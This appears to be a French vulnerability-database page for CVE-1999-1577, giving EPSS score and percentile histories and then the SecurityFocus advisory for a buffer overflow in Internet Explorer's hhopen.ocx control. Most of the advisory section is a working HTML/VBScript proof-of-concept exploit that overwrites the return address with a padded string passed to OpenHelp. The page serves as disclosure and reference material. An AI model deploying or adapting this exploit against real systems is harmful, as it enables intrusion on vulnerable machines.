CVE-1999-1577 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	13.53%	–	–
2022-04-03	–	–	13.53%	–	–
2022-07-17	–	–	13.53%	–	–
2023-03-12	–	–	–	0.38%	–
2023-08-13	–	–	–	0.54%	–
2023-09-10	–	–	–	0.54%	–
2024-02-11	–	–	–	0.54%	–
2024-03-31	–	–	–	0.5%	–
2024-06-02	–	–	–	0.5%	–
2024-06-16	–	–	–	0.5%	–
2024-12-22	–	–	–	0.5%	–
2025-02-16	–	–	–	0.5%	–
2025-01-19	–	–	–	0.5%	–
2025-02-16	–	–	–	0.5%	–
2025-03-18	–	–	–	–	27.46%
2025-04-10	–	–	–	–	30.69%
2025-04-10	–	–	–	–	30.69,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	91%
2022-04-03	95%
2022-07-17	96%
2023-03-12	69%
2023-08-13	74%
2023-09-10	75%
2024-02-11	77%
2024-03-31	76%
2024-06-02	76%
2024-06-16	77%
2024-12-22	76%
2025-02-16	77%
2025-01-19	76%
2025-02-16	77%
2025-03-18	96%
2025-04-10	96%
2025-04-10	96%

Microsoft Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4/Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0 hhopen OLE Control Buffer Overflow Vulnerability source: https://www.securityfocus.com/bid/669/info There is a buffer overflow in the 1.0.0.1 version of the hhopen OLE control (hhopen.ocx) that ships with some versions of Internet Explorer. This control is marked 'Safe for Scripting' . Arbitrary commands may be executed if the OLE control is run in a malicious manner. HHOPEN: This control is a little more difficult to exploit, as the RET address is in the middle of the string, and once again there is no easy way to RET to our code, so I have RET'd to ExitProcess directly instead. In this case, OpenHelp is the vulnerable method, and the exploit is possible when the method is called with a valid help file, and a long Help Section. <object classid="clsid:130D7743-5F5A-11D1-B676-00A0C9697233" id="hhopen"></OBJECT> <script language="vbscript"><!-- msgbox("hhopen OLE Control Module Buffer Overrun" + Chr(10) + "Written By Shane Hird") expstr="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 'Where the RET address appears to be, RET to ExitProcess (BFF8D4CA) expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191) 'Extra padding to trigger the overrun expstr = expstr + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA" 'Call exploitable method, note the valid help file hhopen.OpenHelp "Winhlp32.hlp", expstr --></script>